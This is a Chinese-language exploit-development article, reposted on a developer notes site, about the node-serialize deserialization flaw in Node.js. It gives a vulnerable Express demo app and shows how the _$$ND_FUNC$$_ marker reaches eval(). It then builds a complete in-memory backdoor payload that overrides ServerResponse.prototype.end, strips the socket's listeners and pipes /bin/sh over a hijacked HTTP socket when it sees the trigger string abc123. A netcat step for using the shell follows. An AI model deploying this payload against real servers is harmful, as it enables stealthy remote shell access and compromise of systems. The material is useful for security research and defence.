热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【技术分享】针对Node.js的nodeserialize模块反序列化漏洞的后续分析

作者:knight预估稿费:200RMB投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿传送门【漏洞分析】利用Node.js反序列化的漏洞执行远程代码(含演示视频)前言对Node.

http://p7.qhimg.com/t012c4a46f3e47f323e.png

作者:knight

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【漏洞分析】利用Node.js反序列化的漏洞执行远程代码(含演示视频)

前言

对Node.js序列化远程命令执行漏洞的一些后续发现和怎样开发攻击载荷。

几天前我在opsecx博客上发现了一篇怎样利用一个名为node-serialize的nodejs模块中的RCE(远程执行代码)错误的博客。文章很清楚地解释了模块上存在的问题,我却想到另外一件事,就是Burp的利用过程很复杂,却没有用Burp进行攻击 -Burp 是一个很强大的工具 – 我认为我们可以做得更好。

在这篇文章中,我想展示我对这个特定的RCE的看法,分享一些额外的见解,也许这些看法会对你以后的研究有帮助。


攻击方面

在我们开始之前,先检查攻击面是否可以使用。不要滥用节点序列化模块。 

http://p6.qhimg.com/t0102fc402134918803.jpg

下面是所有依赖模块的列表:cdlib,cdlibjs,intelligence,malice,mizukiri,modelproxy-engine-mockjs,node-help,sa-sdk-node,scriby,sdk-sa-node,shelldoc,shoots。 因为没有分析代码,所以没有办法识别这些实现是否也是脆弱的,但是我假设它是脆弱性的。

更重要的是,我们还没有回答这个模块使用有多么广泛的这个问题。 每月2000次下载可能意味着许多事情,很难估计这个数字后面的应用程序数量。 快速浏览一下github和google是获得一些答案的有效方法,但是我却发现一些有趣的地方。

GitHub搜索回显了97个潜在的易受攻击的公共模块/应用程序,这些模块/应用程序最有可能被私人使用,因为没有登录npmjs.com。 通过代码浏览可以理解这个问题是多么广泛(或没有)。 我很惊讶地发现,它与神奇宝贝有关。我要去搞清楚!

我将在这里支持https://nodesecurity.io  ,因为它是唯一的方法,在这种情况下,还对NodeJS模块系统保持关注。 它对开源项目是免费的。


测试环境

到目前为止,我们认为我们正在处理一个具有有限的滥用潜力的漏洞,这从公共安全角度来看是有好处的。 让我们进入更学术的一面,来重新利用它。 为了测试成功,我们需要一个易受攻击的应用程序。 opsecx有一个这样的程序,所以我们将在本练习中使用它。 代码相当简单。

var express = require('express');
var COOKIEParser = require('COOKIE-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(COOKIEParser())
app.get('/', function(req, res) {
    if (req.COOKIEs.profile) {
        var str = new Buffer(req.COOKIEs.profile, 'base64').toString();
        var obj = serialize.unserialize(str);
        if (obj.username) {
            res.send("Hello " + escape(obj.username));
        }
    } else {
        res.COOKIE('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", {
            maxAge: 900000,
            httpOnly: true
        });
        res.send("Hello stranger");
    }
});
app.listen(3000);

您将需要以下package.json文件来完成(做NPM的安装)

{
  "dependencies": {
    "COOKIE-parser": "^1.4.3",
    "escape-html": "^1.0.3",
    "express": "^4.14.1",
    "node-serialize": "0.0.4"
  }
}

所以让我们跳过实际的事情。 从代码中可以看到,此示例Web应用程序正在使用用户配置文件设置COOKIE,该配置文件是使用易受攻击的节点模块的序列化对象。 这都是在进行base64编码。 要想知道base64字符串在打包时看起来是什么,我们可以使用ENcoder

http://p2.qhimg.com/t01a562437454d3caf9.jpg

这看起来像标准JSON。  首先,让我们设置Rest,以便我们可以测试它。 请注意,我们使用COOKIE构建器来获取正确的编码,并且我们正在使用Encode小部件将JSON字符串转换为Base64格式。

http://p9.qhimg.com/t010c7ebac8d1cc1f83.jpg


配置攻击载荷

现在我们有一个工作请求,我们需要配置一个攻击载荷。要做的第一件事是了解节点序列化漏洞究竟是如何工作的。纵观源代码这是很明显的,该模块将连续函数显示在这里

} else if(typeof obj[key] === 'function') {
  var funcStr = obj[key].toString();
  if(ISNATIVEFUNC.test(funcStr)) {
    if(ignoreNativeFunc) {
      funcStr = 'function() {throw new Error("Call a native function unserialized")}';
    } else {
      throw new Error('Can't serialize a object with a native function property. Use serialize(obj, true) to ignore the error.');
    }
  }
  outputObj[key] = FUNCFLAG + funcStr;
} else {

一旦我们调用unserialize,这个问题就会显现出来。 确切的方法在这里

if(obj[key].indexOf(FUNCFLAG) === 0) {
  obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {

这意味着如果我们创建一个包含以_ $$ ND_FUNC $$ _开头的值的任意参数的JSON对象,我们将执行远程代码,因为它将执行eval。 要测试这个,我们可以使用以下设置。

http://p9.qhimg.com/t01cf2c199c6a081ff6.jpg

如果成功,并且它应该是成功的,您将得到一个错误,因为服务器将在请求完成之前退出。现在我们有远程代码执行,但是我们应该可以做得更好。


我们的重点

我发现在opsecx博客提出的利用技术有点粗鲁,但是却是个是非常好的演示。我们已经在关键过程中实现了eval,这样我们可以做许多事情,以便获得更好的入侵,而不需要涉及到python和阶段攻击。

http://p3.qhimg.com/t01ad4916dd85adc36c.png

这将存储我们的代码,使我们不必担心编码。 现在我们要做的是修改配置文件COOKIE,以便代码变量可以嵌入在JSON和特殊方式node-serialize函数的正确编码之后。

http://p6.qhimg.com/t01d4ca4835a3a56a1e.jpg

这很漂亮! 现在每次我们更改代码变量时,配置文件COOKIE有效负载将通过保持编码链和节点序列化来使其完全完成而动态更改。


内存后门

我们需要处理我们的代码有效负载。 假设我们不知道应用程序是如何工作的,我们需要一个通用的方法来利用它,或者对于任何其他应用程序,没有环境或设置的预先知识。 这意味着我们不能依赖可能存在或可能不存在的全局范围变量。 我们不能依赖express应用程序导出,因此它可以访问额外的路由安装。 我们不想生成新的端口或反向shell,以保持最小的配置文件等。

这是一个很大的要求,但满足一些研究后,很容易找到一种方法,来实现。

我们的旅程从http模块引用ServerResponse函数开始。 ServerResponse的原型用作expressjs中的响应对象的__proto__。

/**
 * Response prototype.
 */
var res = module.exports = {
  __proto__: http.ServerResponse.prototype
};
This means that if we change the prototype of ServerResponse that will reflect into the __proto__ of the response. The send method from the response object calls into the ServerResponse prototype.
if (req.method === 'HEAD') {
  // skip body for HEAD
  this.end();
} else {
  // respond
  this.end(chunk, encoding);
}

这意味着一旦send方法被调用,将调用end方法,这恰好来自ServerResponse的原型。 由于send方法被充分地用于任何与expressjs相关的事情,这也意味着我们现在有一个直接的方式来快速访问更有趣的结构,如当前打开的套接字。 如果我们重写原型的end方法,这意味着我们可以从这个引用获得一个对socket对象的引用。

实现这种效果的代码看起来像这样。

require('http').ServerResponse.prototype.end = (function (end) {
  return function () {
    // TODO: this.socket gives us the current open socket
  }
})(require('http').ServerResponse.prototype.end)

由于我们覆盖了end的原型,我们还需要以某种方式区分我们的启动请求和任何其他请求,因为这可能会导致一些意想不到的行为。 我们将检查查询参数的特殊字符串(abc123),告诉我们这是我们自己的恶意请求。 可以从这样的套接字访问httpMessage对象来检索此信息。

require('http').ServerResponse.prototype.end = (function (end) {
  return function () {
    // TODO: this.socket._httpMessage.req.query give us reference to the query
  }
})(require('http').ServerResponse.prototype.end)

现在我们准备好一切。 剩下的是启动shell。 在节点中这是相对直接的。

var cp = require('child_process')
var net = require('net')
net.createServer((socket) => {
    var sh = cp.spawn('/bin/sh')
    sh.stdout.pipe(socket)
    sh.stderr.pipe(socket)
    socket.pipe(sh.stdin)
}).listen(5001)

在合并两个段之后,最终代码如下所示。 注意我们如何通过重用已经建立的套接字来重定向结束函数以在节点内产生一个shell。

require('http').ServerResponse.prototype.end = (function (end) {
  return function () {
    if (this.socket._httpMessage.req.query.q === 'abc123') {
        var cp = require('child_process')
        var net = require('net')
        var sh = cp.spawn('/bin/sh')
        sh.stdout.pipe(this.socket)
        sh.stderr.pipe(this.socket)
        this.socket.pipe(sh.stdin)
    } else {
        end.apply(this, arguments)
    }
  }
})(require('http').ServerResponse.prototype.end)

现在打开netcat到localhost 3000并键入以下请求

$ nc localhost 3000 GET /?q=abc123 HTTP/1.1 
ls -la

http://p3.qhimg.com/t016d226756c1eb0cd2.jpg

什么? 你得不到任何东西。你看,我们正在劫持一个现有的套接字,因此我们不是套接字的唯一保管人。 还有其他的事情可能响应那个套接字,所以我们需要确保我们照顾他们。 幸运的是,这是很容易实现与一点知识如何节点套接字工作。 最终的代码看起来像这样。

require('http').ServerResponse.prototype.end = (function (end) {
  return function () {
    if (this.socket._httpMessage.req.query.q === 'abc123') {
        ['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket))
        var cp = require('child_process')
        var net = require('net')
        var sh = cp.spawn('/bin/sh')
        sh.stdout.pipe(this.socket)
        sh.stderr.pipe(this.socket)
        this.socket.pipe(sh.stdin)
    } else {
        end.apply(this, arguments)
    }
  }
})(require('http').ServerResponse.prototype.end)

现在,只要我们喜欢,我们就可以利用这个漏洞。 可以通过使用相同的服务器进程和建立的套接字打开具有我们的特殊字符串的请求来获得远程外壳。

http://p8.qhimg.com/t01396d1a5d80b9ac19.jpg


结论

我们从一个简单的RCE漏洞开始,最终创建了一个通用的方法来生成一个已经建立的HTTP通道的shell,它应该在许多类型的情况下独立工作,有一些注意事项,我会留给你们。 整个事情的最棒的部分是在Rest的帮助下是开发简单了很多,这无疑是最后几个帖子中的功劳:123


传送门


【漏洞分析】利用Node.js反序列化的漏洞执行远程代码(含演示视频)


推荐阅读
  • Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施
    本文详细解析了Apache Shiro 身份验证绕过漏洞 (CVE202011989) 的原理和影响,并提供了相应的防范措施。Apache Shiro 是一个强大且易用的Java安全框架,常用于执行身份验证、授权、密码和会话管理。在Apache Shiro 1.5.3之前的版本中,与Spring控制器一起使用时,存在特制请求可能导致身份验证绕过的漏洞。本文还介绍了该漏洞的具体细节,并给出了防范该漏洞的建议措施。 ... [详细]
  • 必须先赞下国人npm库作品:node-images(https:github.comzhangyuanweinode-images),封装了跨平台的C++逻辑,形成nodejsAP ... [详细]
  • FIN7后门工具伪装成白帽工具进行传播
    fin7,后门,工具,伪装,成,白, ... [详细]
  • 渗透测试基础bypass绕过阻挡我们的WAF(下)
    渗透测试基础-bypass ... [详细]
  • 移动传感器扫描覆盖摘要:关于传感器网络中的地址覆盖问题,已经做过很多尝试。他们通常归为两类,全覆盖和栅栏覆盖,统称为静态覆盖 ... [详细]
  • 本文介绍了lua语言中闭包的特性及其在模式匹配、日期处理、编译和模块化等方面的应用。lua中的闭包是严格遵循词法定界的第一类值,函数可以作为变量自由传递,也可以作为参数传递给其他函数。这些特性使得lua语言具有极大的灵活性,为程序开发带来了便利。 ... [详细]
  • Webmin远程命令执行漏洞复现及防护方法
    本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
  • 本文介绍了Linux系统中正则表达式的基础知识,包括正则表达式的简介、字符分类、普通字符和元字符的区别,以及在学习过程中需要注意的事项。同时提醒读者要注意正则表达式与通配符的区别,并给出了使用正则表达式时的一些建议。本文适合初学者了解Linux系统中的正则表达式,并提供了学习的参考资料。 ... [详细]
  • 【shell】网络处理:判断IP是否在网段、两个ip是否同网段、IP地址范围、网段包含关系
    本文介绍了使用shell脚本判断IP是否在同一网段、判断IP地址是否在某个范围内、计算IP地址范围、判断网段之间的包含关系的方法和原理。通过对IP和掩码进行与计算,可以判断两个IP是否在同一网段。同时,还提供了一段用于验证IP地址的正则表达式和判断特殊IP地址的方法。 ... [详细]
  • Whatsthedifferencebetweento_aandto_ary?to_a和to_ary有什么区别? ... [详细]
  • Android实战——jsoup实现网络爬虫,糗事百科项目的起步
    本文介绍了Android实战中使用jsoup实现网络爬虫的方法,以糗事百科项目为例。对于初学者来说,数据源的缺乏是做项目的最大烦恼之一。本文讲述了如何使用网络爬虫获取数据,并以糗事百科作为练手项目。同时,提到了使用jsoup需要结合前端基础知识,以及如果学过JS的话可以更轻松地使用该框架。 ... [详细]
  • Windows7企业版怎样存储安全新功能详解
    本文介绍了电脑公司发布的GHOST WIN7 SP1 X64 通用特别版 V2019.12,软件大小为5.71 GB,支持简体中文,属于国产软件,免费使用。文章还提到了用户评分和软件分类为Win7系统,运行环境为Windows。同时,文章还介绍了平台检测结果,无插件,通过了360、腾讯、金山和瑞星的检测。此外,文章还提到了本地下载文件大小为5.71 GB,需要先下载高速下载器才能进行高速下载。最后,文章详细解释了Windows7企业版的存储安全新功能。 ... [详细]
  • 本文介绍了安全性要求高的真正密码随机数生成器的概念和原理。首先解释了统计学意义上的伪随机数和真随机数的区别,以及伪随机数在密码学安全中的应用。然后讨论了真随机数的定义和产生方法,并指出了实际情况下真随机数的不可预测性和复杂性。最后介绍了随机数生成器的概念和方法。 ... [详细]
  • 程序员如何选择机械键盘轴体?红轴和茶轴对比
    本文介绍了程序员如何选择机械键盘轴体,特别是红轴和茶轴的对比。同时还介绍了U盘安装Linux镜像的步骤,以及在Linux系统中安装软件的命令行操作。此外,还介绍了nodejs和npm的安装方法,以及在VSCode中安装和配置常用插件的方法。最后,还介绍了如何在GitHub上配置SSH密钥和git的基本配置。 ... [详细]
  • npmrunbuild后dist文件夹下面直接浏览器打开index.html,css和js的路径都不正确。放到跟目录下就正常了,iis上同样只能在根目录下。我项目的目录如下: ... [详细]
author-avatar
鲁小姐就不用围脖
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有